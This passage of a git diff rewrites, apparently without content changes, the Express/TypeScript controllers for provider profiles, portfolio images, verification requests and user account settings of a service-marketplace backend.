yearsOfExperience, - latitude, - longitude, - address, - bio, - certifications, - languages, - availabilityHours, - responseRate, - responseTimeMinutes, - website, - socialLinks, - preferredContactMethod, - isFeatured, - featuredUntil, - } = req.body; - - if (uploadedPhoto) { - await ProviderService.updateProfile(providerId, userId, {}); - if (!uploadedPhoto.mimetype?.toLowerCase().startsWith('image/')) { - logError('Uploaded photo must be an image', 'ProviderController.updateProfile'); - return res.status(400).json({ - status: 'error', - message: 'Uploaded photo must be an image', - }); - } - - const ext = this.getFileExtension(uploadedPhoto); - const namePart = crypto.randomBytes(8).toString('hex'); - const filePath = `providers/${providerId}/photo-${Date.now()}-${namePart}${ext}`; - const { url } = await StorageService.uploadImage({ - path: filePath, - contentType: uploadedPhoto.mimetype, - file: uploadedPhoto.buffer, - }); - - const provider = await ProviderService.updateProfile(providerId, userId, { - name, - photo: url, - serviceCategoryId, - priceRangeMin, - priceRangeMax, - yearsOfExperience, - latitude, - longitude, - address, - bio, - certifications, - languages, - availabilityHours, - responseRate, - responseTimeMinutes, - website, - socialLinks, - preferredContactMethod, - isFeatured, - featuredUntil: featuredUntil ? new Date(featuredUntil) : undefined, - }); - - return res.json({ - status: 'success', - data: provider, - }); - } - - const provider = await ProviderService.updateProfile(providerId, userId, { - name, - photo, - serviceCategoryId, - priceRangeMin, - priceRangeMax, - yearsOfExperience, - latitude, - longitude, - address, - bio, - certifications, - languages, - availabilityHours, - responseRate, - responseTimeMinutes, - website, - socialLinks, - preferredContactMethod, - isFeatured, - featuredUntil: featuredUntil ? new Date(featuredUntil) : undefined, - }); - - console.log("Provider profile updated successfully:", provider); - - return res.json({ - status: 'success', - data: provider, - }); - } catch (error: any) { - logError(error.message, 'ProviderController.updateProfile'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Update availability - * PATCH /api/providers/:id/availability - */ - static updateAvailability = [ - validate([ - body('availability') - .isIn(['available', 'busy', 'offline']) - .withMessage('Valid availability status is required'), - ]), - async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const providerId = req.params.id; - const { availability } = req.body; - - const provider = await ProviderService.updateAvailability( - providerId, - userId, - availability as ProviderAvailability - ); - - res.json({ - status: 'success', - data: provider, - }); - } catch (error: any) { - logError(error.message, 'ProviderController.updateAvailability'); - res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Search providers - * GET /api/providers/search - */ - static search = [ - validate([ - query('serviceCategoryId') - .optional() - .isUUID() - .withMessage('Valid service category ID is required'), - query('latitude') - .optional() - .isFloat({ min: -90, max: 90 }) - .withMessage('Valid latitude is required'), - query('longitude') - .optional() - .isFloat({ min: -180, max: 180 }) - .withMessage('Valid longitude is required'), - query('maxDistance') - .optional() - .isFloat({ min: 0 }) - .withMessage('Max distance must be a positive number'), - query('minRating') - .optional() - .isFloat({ min: 0, max: 5 }) - .withMessage('Min rating must be between 0 and 5'), - query('minPrice') - .optional() - .isFloat({ min: 0 }) - .withMessage('Min price must be a positive number'), - query('maxPrice') - .optional() - .isFloat({ min: 0 }) - .withMessage('Max price must be a positive number'), - query('availability') - .optional() - .isIn(['available', 'busy', 'offline']) - .withMessage('Valid availability status is required'), - query('isVerified') - .optional() - .isBoolean() - .withMessage('isVerified must be a boolean'), - query('limit') - .optional() - .isInt({ min: 1, max: 100 }) - .withMessage('Limit must be between 1 and 100'), - query('cursor') - .optional() - .isString() - .withMessage('cursor must be a string'), - ]), - async (req: Request, res: Response) => { - try { - const filters: any = {}; - - if (req.query.serviceCategoryId) { - filters.serviceCategoryId = req.query.serviceCategoryId as string; - } - if (req.query.latitude) { - filters.latitude = parseFloat(req.query.latitude as string); - } - if (req.query.longitude) { - filters.longitude = parseFloat(req.query.longitude as string); - } - if (req.query.maxDistance) { - filters.maxDistance = parseFloat(req.query.maxDistance as string); - } - if (req.query.minRating) { - filters.minRating = parseFloat(req.query.minRating as string); - } - if (req.query.minPrice) { - filters.minPrice = parseFloat(req.query.minPrice as string); - } - if (req.query.maxPrice) { - filters.maxPrice = parseFloat(req.query.maxPrice as string); - } - if (req.query.availability) { - filters.availability = req.query.availability as ProviderAvailability; - } - if (req.query.isVerified !== undefined) { - filters.isVerified = req.query.isVerified === 'true'; - } - if (req.query.limit) { - filters.limit = parseInt(req.query.limit as string, 10); - } - if (req.query.cursor) { - filters.cursor = req.query.cursor as string; - } - - const providers = await ProviderService.searchProviders(filters); - - res.json({ - status: 'success', - data: providers, - count: providers.length, - }); - } catch (error: any) { - logError(error.message, 'ProviderController.search'); - res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Add portfolio image - * POST /api/providers/:id/portfolio - */ - static addPortfolioImage = [ - validate([ - body('imageUrl').optional().isURL().withMessage('Valid image URL is required'), - body('description') - .optional() - .isString() - .withMessage('Description must be a string'), - ]), - async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const providerId = req.params.id; - const uploadedImage = (req as any).file as Express.Multer.File | undefined; - const { imageUrl, description } = req.body; - - if (!uploadedImage && !imageUrl) { - logError('Either imageUrl or an image file is required', 'ProviderController.addPortfolioImage'); - return res.status(400).json({ - status: 'error', - message: 'Either imageUrl or an image file is required', - }); - } - - // Verify provider ownership before uploading - const myProvider = await ProviderService.getProfileByUserId(userId); - if (!myProvider || myProvider.id !== providerId) { - logError('Unauthorized: You can only add to your own portfolio', 'ProviderController.addPortfolioImage'); - return res.status(403).json({ - status: 'error', - message: 'Unauthorized: You can only add to your own portfolio', - }); - } - - let finalImageUrl = imageUrl; - if (uploadedImage) { - if (!uploadedImage.mimetype?.toLowerCase().startsWith('image/')) { - logError('Uploaded portfolio image must be an image', 'ProviderController.addPortfolioImage'); - return res.status(400).json({ - status: 'error', - message: 'Uploaded portfolio image must be an image', - }); - } - - const ext = this.getFileExtension(uploadedImage); - const namePart = crypto.randomBytes(8).toString('hex'); - const filePath = `providers/${providerId}/portfolio/image-${Date.now()}-${namePart}${ext}`; - const { url } = await StorageService.uploadImage({ - path: filePath, - contentType: uploadedImage.mimetype, - file: uploadedImage.buffer, - }); - finalImageUrl = url; - } - - const portfolio = await ProviderService.addPortfolioImage( - providerId, - userId, - finalImageUrl, - description - ); - - console.log("Portfolio image added successfully:", portfolio); - - return res.status(201).json({ - status: 'success', - data: portfolio, - }); - } catch (error: any) { - logError(error.message, 'ProviderController.addPortfolioImage'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Get portfolio images - * GET /api/providers/:id/portfolio - */ - static getPortfolio = async (req: Request, res: Response) => { - try { - const portfolio = await ProviderService.getPortfolio(req.params.id); - res.json({ - status: 'success', - data: portfolio, - }); - } catch (error: any) { - logError(error.message, 'ProviderController.getPortfolio'); - res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }; - - /** - * Delete portfolio image - * DELETE /api/providers/:id/portfolio/:portfolioId - */ - static deletePortfolioImage = async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const providerId = req.params.id; - const portfolioId = req.params.portfolioId; - - await ProviderService.deletePortfolioImage(portfolioId, providerId, userId); - - res.json({ - status: 'success', - message: 'Portfolio image deleted successfully', - }); - } catch (error: any) { - logError(error.message, 'ProviderController.deletePortfolioImage'); - res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }; - - /** - * Submit verification request - * POST /api/providers/:id/verification - */ - static submitVerification = [ - validate([ - body('idDocument') - .optional() - .isString() - .withMessage('ID document must be a string (URL)'), - body('certificates') - .optional() - .isArray() - .withMessage('Certificates must be an array'), - body('references') - .optional() - .isArray() - .withMessage('References must be an array'), - ]), - async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const providerId = req.params.id; - const { idDocument, certificates, references } = req.body; - - const request = await ProviderService.submitVerification( - providerId, - userId, - { - idDocument, - certificates, - references, - } - ); - - res.status(201).json({ - status: 'success', - data: request, - message: 'Verification request submitted successfully', - }); - } catch (error: any) { - logError(error.message, 'ProviderController.submitVerification'); - res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Get verification request - * GET /api/providers/:id/verification - */ - static getVerificationRequest = async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const providerId = req.params.id; - - const request = await ProviderService.getVerificationRequest( - providerId, - userId - ); - - if (!request) { - logError('Verification request not found', 'ProviderController.getVerificationRequest'); - return res.status(404).json({ - status: 'error', - message: 'Verification request not found', - }); - } - - console.log("Verification request fetched successfully:", request); - - return res.json({ - status: 'success', - data: request, - }); - } catch (error: any) { - logError(error.message, 'ProviderController.getVerificationRequest'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }; - - /** - * Get provider statistics - * GET /api/providers/me/stats - */ - static getStats = async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const stats = await ProviderService.getStats(userId); - res.json({ - status: 'success', - data: stats, - }); - } catch (error: any) { - logError(error.message, 'ProviderController.getStats'); - res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }; -} +import { Request, Response } from 'express'; +import crypto from 'crypto'; +import path from 'path'; +import { body, query } from 'express-validator'; +import { validate } from '../middleware/validation'; +import { AuthRequest } from '../middleware/auth'; +import { ProviderService } from '../services/provider.service'; +import { ProviderAvailability } from '../types'; +import { StorageService } from '../services/storage.service'; +import { logError } from '../utils/logger'; + +export class ProviderController { + private static getFileExtension(file: Express.Multer.File): string { + const ext = path.extname(file.originalname || '').toLowerCase(); + if (ext && ext.length <= 10) return ext; + + const mime = (file.mimetype || '').toLowerCase(); + if (mime === 'image/jpeg') return '.jpg'; + if (mime === 'image/png') return '.png'; + if (mime === 'image/webp') return '.webp'; + return ''; + } + + /** + * Create provider profile + * POST /api/providers + */ + static create = [ + validate([ + body('name').notEmpty().withMessage('Name is required'), + body('serviceCategoryId') + .isUUID() + .withMessage('Valid service category ID is required'), + body('photo').optional().isURL().withMessage('Valid photo URL is required'), + body('priceRangeMin') + .optional() + .isFloat({ min: 0 }) + .withMessage('Price range min must be a positive number'), + body('priceRangeMax') + .optional() + .isFloat({ min: 0 }) + .withMessage('Price range max must be a positive number'), + body('yearsOfExperience') + .optional() + .isInt({ min: 0 }) + .withMessage('Years of experience must be a non-negative integer'), + body('latitude') + .optional() + .isFloat({ min: -90, max: 90 }) + .withMessage('Valid latitude is required'), + body('longitude') + .optional() + .isFloat({ min: -180, max: 180 }) + .withMessage('Valid longitude is required'), + body('bio').optional().isString().withMessage('Bio must be a string'), + body('certifications').optional().isArray().withMessage('Certifications must be an array'), + body('languages').optional().isArray().withMessage('Languages must be an array'), + body('availabilityHours').optional().isObject().withMessage('Availability hours must be an object'), + body('responseRate') + .optional() + .isFloat({ min: 0, max: 100 }) + .withMessage('Response rate must be between 0 and 100'), + body('responseTimeMinutes') + .optional() + .isInt({ min: 0 }) + .withMessage('Response time minutes must be a non-negative integer'), + body('website').optional().isURL().withMessage('Website must be a valid URL'), + body('socialLinks').optional().isObject().withMessage('Social links must be an object'), + body('preferredContactMethod') + .optional() + .isIn(['phone', 'email', 'whatsapp', 'sms']) + .withMessage('Preferred contact method is invalid'), + body('isFeatured').optional().isBoolean().withMessage('isFeatured must be a boolean'), + body('featuredUntil').optional().isISO8601().withMessage('featuredUntil must be a valid date'), + ]), + async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const uploadedPhoto = (req as any).file as Express.Multer.File | undefined; + const { + name, + serviceCategoryId, + photo, + priceRangeMin, + priceRangeMax, + yearsOfExperience, + latitude, + longitude, + address, + bio, + certifications, + languages, + availabilityHours, + responseRate, + responseTimeMinutes, + website, + socialLinks, + preferredContactMethod, + isFeatured, + featuredUntil, + } = req.body; + + const provider = await ProviderService.createProfile( + userId, + name, + serviceCategoryId, + { + photo: uploadedPhoto ? undefined : photo, + priceRangeMin, + priceRangeMax, + yearsOfExperience, + latitude, + longitude, + address, + bio, + certifications, + languages, + availabilityHours, + responseRate, + responseTimeMinutes, + website, + socialLinks, + preferredContactMethod, + isFeatured, + featuredUntil: featuredUntil ? new Date(featuredUntil) : undefined, + } + ); + + let finalProvider = provider; + if (uploadedPhoto) { + if (!uploadedPhoto.mimetype?.toLowerCase().startsWith('image/')) { + logError('Uploaded photo must be an image', 'ProviderController.createProfile'); + return res.status(400).json({ + status: 'error', + message: 'Uploaded photo must be an image', + }); + } + + const ext = this.getFileExtension(uploadedPhoto); + const namePart = crypto.randomBytes(8).toString('hex'); + const filePath = `providers/${provider.id}/photo-${Date.now()}-${namePart}${ext}`; + const { url } = await StorageService.uploadImage({ + path: filePath, + contentType: uploadedPhoto.mimetype, + file: uploadedPhoto.buffer, + }); + + finalProvider = + (await ProviderService.updateProfile(provider.id, userId, { photo: url })) || + provider; + } + + console.log("Provider profile created successfully:", finalProvider); + + return res.status(201).json({ + status: 'success', + data: finalProvider, + }); + } catch (error: any) { + logError(error.message, 'ProviderController.createProfile'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Get provider profile by ID + * GET /api/providers/:id + */ + static getById = async (req: Request, res: Response) => { + try { + const provider = await ProviderService.getProfile(req.params.id); + res.json({ + status: 'success', + data: provider, + }); + } catch (error: any) { + logError(error.message, 'ProviderController.getById'); + res.status(404).json({ + status: 'error', + message: error.message, + }); + } + }; + + /** + * Get current user's provider profile + * GET /api/providers/me + */ + static getMyProfile = async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const provider = await ProviderService.getProfileByUserId(userId); + res.json({ + status: 'success', + data: provider, + }); + } catch (error: any) { + logError(error.message, 'ProviderController.getMyProfile'); + res.status(404).json({ + status: 'error', + message: error.message, + }); + } + }; + + /** + * Update provider profile + * PUT /api/providers/:id + */ + static update = [ + validate([ + body('name').optional().notEmpty().withMessage('Name cannot be empty'), + body('photo').optional().isURL().withMessage('Valid photo URL is required'), + body('serviceCategoryId') + .optional() + .isUUID() + .withMessage('Valid service category ID is required'), + body('priceRangeMin') + .optional() + .isFloat({ min: 0 }) + .withMessage('Price range min must be a positive number'), + body('priceRangeMax') + .optional() + .isFloat({ min: 0 }) + .withMessage('Price range max must be a positive number'), + body('yearsOfExperience') + .optional() + .isInt({ min: 0 }) + .withMessage('Years of experience must be a non-negative integer'), + body('latitude') + .optional() + .isFloat({ min: -90, max: 90 }) + .withMessage('Valid latitude is required'), + body('longitude') + .optional() + .isFloat({ min: -180, max: 180 }) + .withMessage('Valid longitude is required'), + body('bio').optional().isString().withMessage('Bio must be a string'), + body('certifications').optional().isArray().withMessage('Certifications must be an array'), + body('languages').optional().isArray().withMessage('Languages must be an array'), + body('availabilityHours').optional().isObject().withMessage('Availability hours must be an object'), + body('responseRate') + .optional() + .isFloat({ min: 0, max: 100 }) + .withMessage('Response rate must be between 0 and 100'), + body('responseTimeMinutes') + .optional() + .isInt({ min: 0 }) + .withMessage('Response time minutes must be a non-negative integer'), + body('website').optional().isURL().withMessage('Website must be a valid URL'), + body('socialLinks').optional().isObject().withMessage('Social links must be an object'), + body('preferredContactMethod') + .optional() + .isIn(['phone', 'email', 'whatsapp', 'sms']) + .withMessage('Preferred contact method is invalid'), + body('isFeatured').optional().isBoolean().withMessage('isFeatured must be a boolean'), + body('featuredUntil').optional().isISO8601().withMessage('featuredUntil must be a valid date'), + ]), + async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const providerId = req.params.id; + const uploadedPhoto = (req as any).file as Express.Multer.File | undefined; + const { + name, + photo, + serviceCategoryId, + priceRangeMin, + priceRangeMax, + yearsOfExperience, + latitude, + longitude, + address, + bio, + certifications, + languages, + availabilityHours, + responseRate, + responseTimeMinutes, + website, + socialLinks, + preferredContactMethod, + isFeatured, + featuredUntil, + } = req.body; + + if (uploadedPhoto) { + await ProviderService.updateProfile(providerId, userId, {}); + if (!uploadedPhoto.mimetype?.toLowerCase().startsWith('image/')) { + logError('Uploaded photo must be an image', 'ProviderController.updateProfile'); + return res.status(400).json({ + status: 'error', + message: 'Uploaded photo must be an image', + }); + } + + const ext = this.getFileExtension(uploadedPhoto); + const namePart = crypto.randomBytes(8).toString('hex'); + const filePath = `providers/${providerId}/photo-${Date.now()}-${namePart}${ext}`; + const { url } = await StorageService.uploadImage({ + path: filePath, + contentType: uploadedPhoto.mimetype, + file: uploadedPhoto.buffer, + }); + + const provider = await ProviderService.updateProfile(providerId, userId, { + name, + photo: url, + serviceCategoryId, + priceRangeMin, + priceRangeMax, + yearsOfExperience, + latitude, + longitude, + address, + bio, + certifications, + languages, + availabilityHours, + responseRate, + responseTimeMinutes, + website, + socialLinks, + preferredContactMethod, + isFeatured, + featuredUntil: featuredUntil ? new Date(featuredUntil) : undefined, + }); + + return res.json({ + status: 'success', + data: provider, + }); + } + + const provider = await ProviderService.updateProfile(providerId, userId, { + name, + photo, + serviceCategoryId, + priceRangeMin, + priceRangeMax, + yearsOfExperience, + latitude, + longitude, + address, + bio, + certifications, + languages, + availabilityHours, + responseRate, + responseTimeMinutes, + website, + socialLinks, + preferredContactMethod, + isFeatured, + featuredUntil: featuredUntil ? new Date(featuredUntil) : undefined, + }); + + console.log("Provider profile updated successfully:", provider); + + return res.json({ + status: 'success', + data: provider, + }); + } catch (error: any) { + logError(error.message, 'ProviderController.updateProfile'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Update availability + * PATCH /api/providers/:id/availability + */ + static updateAvailability = [ + validate([ + body('availability') + .isIn(['available', 'busy', 'offline']) + .withMessage('Valid availability status is required'), + ]), + async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const providerId = req.params.id; + const { availability } = req.body; + + const provider = await ProviderService.updateAvailability( + providerId, + userId, + availability as ProviderAvailability + ); + + res.json({ + status: 'success', + data: provider, + }); + } catch (error: any) { + logError(error.message, 'ProviderController.updateAvailability'); + res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Search providers + * GET /api/providers/search + */ + static search = [ + validate([ + query('serviceCategoryId') + .optional() + .isUUID() + .withMessage('Valid service category ID is required'), + query('latitude') + .optional() + .isFloat({ min: -90, max: 90 }) + .withMessage('Valid latitude is required'), + query('longitude') + .optional() + .isFloat({ min: -180, max: 180 }) + .withMessage('Valid longitude is required'), + query('maxDistance') + .optional() + .isFloat({ min: 0 }) + .withMessage('Max distance must be a positive number'), + query('minRating') + .optional() + .isFloat({ min: 0, max: 5 }) + .withMessage('Min rating must be between 0 and 5'), + query('minPrice') + .optional() + .isFloat({ min: 0 }) + .withMessage('Min price must be a positive number'), + query('maxPrice') + .optional() + .isFloat({ min: 0 }) + .withMessage('Max price must be a positive number'), + query('availability') + .optional() + .isIn(['available', 'busy', 'offline']) + .withMessage('Valid availability status is required'), + query('isVerified') + .optional() + .isBoolean() + .withMessage('isVerified must be a boolean'), + query('limit') + .optional() + .isInt({ min: 1, max: 100 }) + .withMessage('Limit must be between 1 and 100'), + query('cursor') + .optional() + .isString() + .withMessage('cursor must be a string'), + ]), + async (req: Request, res: Response) => { + try { + const filters: any = {}; + + if (req.query.serviceCategoryId) { + filters.serviceCategoryId = req.query.serviceCategoryId as string; + } + if (req.query.latitude) { + filters.latitude = parseFloat(req.query.latitude as string); + } + if (req.query.longitude) { + filters.longitude = parseFloat(req.query.longitude as string); + } + if (req.query.maxDistance) { + filters.maxDistance = parseFloat(req.query.maxDistance as string); + } + if (req.query.minRating) { + filters.minRating = parseFloat(req.query.minRating as string); + } + if (req.query.minPrice) { + filters.minPrice = parseFloat(req.query.minPrice as string); + } + if (req.query.maxPrice) { + filters.maxPrice = parseFloat(req.query.maxPrice as string); + } + if (req.query.availability) { + filters.availability = req.query.availability as ProviderAvailability; + } + if (req.query.isVerified !== undefined) { + filters.isVerified = req.query.isVerified === 'true'; + } + if (req.query.limit) { + filters.limit = parseInt(req.query.limit as string, 10); + } + if (req.query.cursor) { + filters.cursor = req.query.cursor as string; + } + + const providers = await ProviderService.searchProviders(filters); + + res.json({ + status: 'success', + data: providers, + count: providers.length, + }); + } catch (error: any) { + logError(error.message, 'ProviderController.search'); + res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Add portfolio image + * POST /api/providers/:id/portfolio + */ + static addPortfolioImage = [ + validate([ + body('imageUrl').optional().isURL().withMessage('Valid image URL is required'), + body('description') + .optional() + .isString() + .withMessage('Description must be a string'), + ]), + async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const providerId = req.params.id; + const uploadedImage = (req as any).file as Express.Multer.File | undefined; + const { imageUrl, description } = req.body; + + if (!uploadedImage && !imageUrl) { + logError('Either imageUrl or an image file is required', 'ProviderController.addPortfolioImage'); + return res.status(400).json({ + status: 'error', + message: 'Either imageUrl or an image file is required', + }); + } + + // Verify provider ownership before uploading + const myProvider = await ProviderService.getProfileByUserId(userId); + if (!myProvider || myProvider.id !== providerId) { + logError('Unauthorized: You can only add to your own portfolio', 'ProviderController.addPortfolioImage'); + return res.status(403).json({ + status: 'error', + message: 'Unauthorized: You can only add to your own portfolio', + }); + } + + let finalImageUrl = imageUrl; + if (uploadedImage) { + if (!uploadedImage.mimetype?.toLowerCase().startsWith('image/')) { + logError('Uploaded portfolio image must be an image', 'ProviderController.addPortfolioImage'); + return res.status(400).json({ + status: 'error', + message: 'Uploaded portfolio image must be an image', + }); + } + + const ext = this.getFileExtension(uploadedImage); + const namePart = crypto.randomBytes(8).toString('hex'); + const filePath = `providers/${providerId}/portfolio/image-${Date.now()}-${namePart}${ext}`; + const { url } = await StorageService.uploadImage({ + path: filePath, + contentType: uploadedImage.mimetype, + file: uploadedImage.buffer, + }); + finalImageUrl = url; + } + + const portfolio = await ProviderService.addPortfolioImage( + providerId, + userId, + finalImageUrl, + description + ); + + console.log("Portfolio image added successfully:", portfolio); + + return res.status(201).json({ + status: 'success', + data: portfolio, + }); + } catch (error: any) { + logError(error.message, 'ProviderController.addPortfolioImage'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Get portfolio images + * GET /api/providers/:id/portfolio + */ + static getPortfolio = async (req: Request, res: Response) => { + try { + const portfolio = await ProviderService.getPortfolio(req.params.id); + res.json({ + status: 'success', + data: portfolio, + }); + } catch (error: any) { + logError(error.message, 'ProviderController.getPortfolio'); + res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }; + + /** + * Delete portfolio image + * DELETE /api/providers/:id/portfolio/:portfolioId + */ + static deletePortfolioImage = async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const providerId = req.params.id; + const portfolioId = req.params.portfolioId; + + await ProviderService.deletePortfolioImage(portfolioId, providerId, userId); + + res.json({ + status: 'success', + message: 'Portfolio image deleted successfully', + }); + } catch (error: any) { + logError(error.message, 'ProviderController.deletePortfolioImage'); + res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }; + + /** + * Submit verification request + * POST /api/providers/:id/verification + */ + static submitVerification = [ + validate([ + body('idDocument') + .optional() + .isString() + .withMessage('ID document must be a string (URL)'), + body('certificates') + .optional() + .isArray() + .withMessage('Certificates must be an array'), + body('references') + .optional() + .isArray() + .withMessage('References must be an array'), + ]), + async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const providerId = req.params.id; + const { idDocument, certificates, references } = req.body; + + const request = await ProviderService.submitVerification( + providerId, + userId, + { + idDocument, + certificates, + references, + } + ); + + res.status(201).json({ + status: 'success', + data: request, + message: 'Verification request submitted successfully', + }); + } catch (error: any) { + logError(error.message, 'ProviderController.submitVerification'); + res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Get verification request + * GET /api/providers/:id/verification + */ + static getVerificationRequest = async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const providerId = req.params.id; + + const request = await ProviderService.getVerificationRequest( + providerId, + userId + ); + + if (!request) { + logError('Verification request not found', 'ProviderController.getVerificationRequest'); + return res.status(404).json({ + status: 'error', + message: 'Verification request not found', + }); + } + + console.log("Verification request fetched successfully:", request); + + return res.json({ + status: 'success', + data: request, + }); + } catch (error: any) { + logError(error.message, 'ProviderController.getVerificationRequest'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }; + + /** + * Get provider statistics + * GET /api/providers/me/stats + */ + static getStats = async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const stats = await ProviderService.getStats(userId); + res.json({ + status: 'success', + data: stats, + }); + } catch (error: any) { + logError(error.message, 'ProviderController.getStats'); + res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }; +} diff --git a/src/controllers/user.controller.ts b/src/controllers/user.controller.ts index 0e3445f..a9f9829 100644 --- a/src/controllers/user.controller.ts +++ b/src/controllers/user.controller.ts @@ -1,403 +1,403 @@ -import { Response } from 'express'; -import { body } from 'express-validator'; -import { validate } from '../middleware/validation'; -import { AuthRequest } from '../middleware/auth'; -import { UserLocationModel } from '../models/UserLocation'; -import { UserModel } from '../models/User'; -import { ProviderModel } from '../models/Provider'; -import { StorageService } from '../services/storage.service'; -import { UserRole } from '../types'; -import { logError } from '../utils/logger'; - -export class UserController { - /** - * Get current user profile - * GET /api/users/profile - */ - static getProfile = async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const user = await UserModel.findById(userId); - - if (!user) { - logError('User not found', 'UserController.getProfile'); - return res.status(404).json({ - status: 'error', - message: 'User not found', - }); - } - - // If provider, include provider profile - let providerProfile = null; - if (user.role === UserRole.PROVIDER) { - providerProfile = await ProviderModel.findByUserId(userId); - } - - console.log(`Fetched profile for user ID ${userId} successfully`); - - return res.json({ - status: 'success', - data: { - user, - provider: providerProfile, - }, - }); - } catch (error: any) { - logError(error.message, 'UserController.getProfile'); - return res.status(500).json({ - status: 'error', - message: error.message, - }); - } - }; - - /** - * Update basic user profile - * PATCH /api/users/profile - */ - static updateProfile = [ - validate([ - body('username').optional().isString().withMessage('Username must be a string'), - body('email').optional().isEmail().withMessage('Valid email is required'), - body('phone').optional().isString().withMessage('Phone must be a string'), - ]), - async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const { username, email, phone } = req.body; - - const updatedUser = await UserModel.updateProfile(userId, { - username, - email, - phone, - }); - - console.log(`Updated profile for user ID ${userId} successfully`); - - return res.json({ - status: 'success', - data: updatedUser, - }); - } catch (error: any) { - logError(error.message, 'UserController.updateProfile'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Change password - * PATCH /api/users/password - */ - static changePassword = [ - validate([ - body('currentPassword').notEmpty().withMessage('Current password is required'), - body('newPassword').isLength({ min: 6 }).withMessage('New password must be at least 6 characters'), - body('confirmPassword').notEmpty().withMessage('Password confirmation is required'), - ]), - async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const { currentPassword, newPassword, confirmPassword } = req.body; - - // Validate passwords match - if (newPassword !== confirmPassword) { - logError('New password and confirmation do not match', 'UserController.changePassword'); - return res.status(400).json({ - status: 'error', - message: 'New password and confirmation do not match', - }); - } - - const user = await UserModel.findById(userId); - if (!user || !user.password) { - logError('User not found or no password set', 'UserController.changePassword'); - return res.status(400).json({ - status: 'error', - message: 'User not found or no password set', - }); - } - - const isCurrentPasswordValid = await UserModel.verifyPassword(currentPassword, user.password); - if (!isCurrentPasswordValid) { - logError('Current password is incorrect', 'UserController.changePassword'); - return res.status(400).json({ - status: 'error', - message: 'Current password is incorrect', - }); - } - - await UserModel.updatePassword(userId, newPassword); - - console.log(`Password updated successfully for user ID ${userId}`); - - return res.json({ - status: 'success', - message: 'Password updated successfully', - }); - } catch (error: any) { - logError(error.message, 'UserController.changePassword'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Update preferred contact method - * PATCH /api/users/contact-method - */ - static updateContactMethod = [ - validate([ - body('preferredContactMethod') - .isIn(['phone', 'email', 'whatsapp', 'sms']) - .withMessage('Valid contact method is required'), - ]), - async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const { preferredContactMethod } = req.body; - - const updatedUser = await UserModel.updatePreferredContactMethod(userId, preferredContactMethod); - - console.log(`Updated preferred contact method for user ID ${userId} to ${preferredContactMethod} successfully`); - - return res.json({ - status: 'success', - data: updatedUser, - }); - } catch (error: any) { - logError(error.message, 'UserController.updateContactMethod'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Upload profile photo - * POST /api/users/photo - */ - static uploadPhoto = async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const imageFile = req.file; - - if (!imageFile) { - logError('No image file provided', 'UserController.uploadPhoto'); - return res.status(400).json({ - status: 'error', - message: 'No image file provided', - }); - } - - const allowedMimeTypes = ['image/jpeg', 'image/jpg', 'image/png']; - if (!allowedMimeTypes.includes(imageFile.mimetype)) { - logError('Only JPEG, JPG, and PNG images are allowed', 'UserController.uploadPhoto'); - return res.status(400).json({ - status: 'error', - message: 'Only JPEG, JPG, and PNG images are allowed', - }); - } - - const fileExt = imageFile.originalname.split('.').pop(); - const fileName = `user-${userId}-${Date.now()}.${fileExt}`; - - const uploadResult = await StorageService.uploadImage({ - path: `users/${fileName}`, - contentType: imageFile.mimetype, - file: imageFile.buffer, - bucket: 'avatars', - }); - - // Update user's photo URL based on role - const user = await UserModel.findById(userId); - if (!user) { - logError('User not found', 'UserController.uploadPhoto'); - return res.status(404).json({ - status: 'error', - message: 'User not found', - }); - } - - if (user.role === UserRole.PROVIDER) { - await ProviderModel.updatePhoto(userId, uploadResult.url); - } else { - await UserModel.updateProfile(userId, { photo: uploadResult.url }); - } - - console.log(`Profile photo uploaded successfully for user ID ${userId}`); - - return res.json({ - status: 'success', - data: { photoUrl: uploadResult.url }, - }); - } catch (error: any) { - logError(error.message, 'UserController.uploadPhoto'); - return res.status(400).json({ - status: 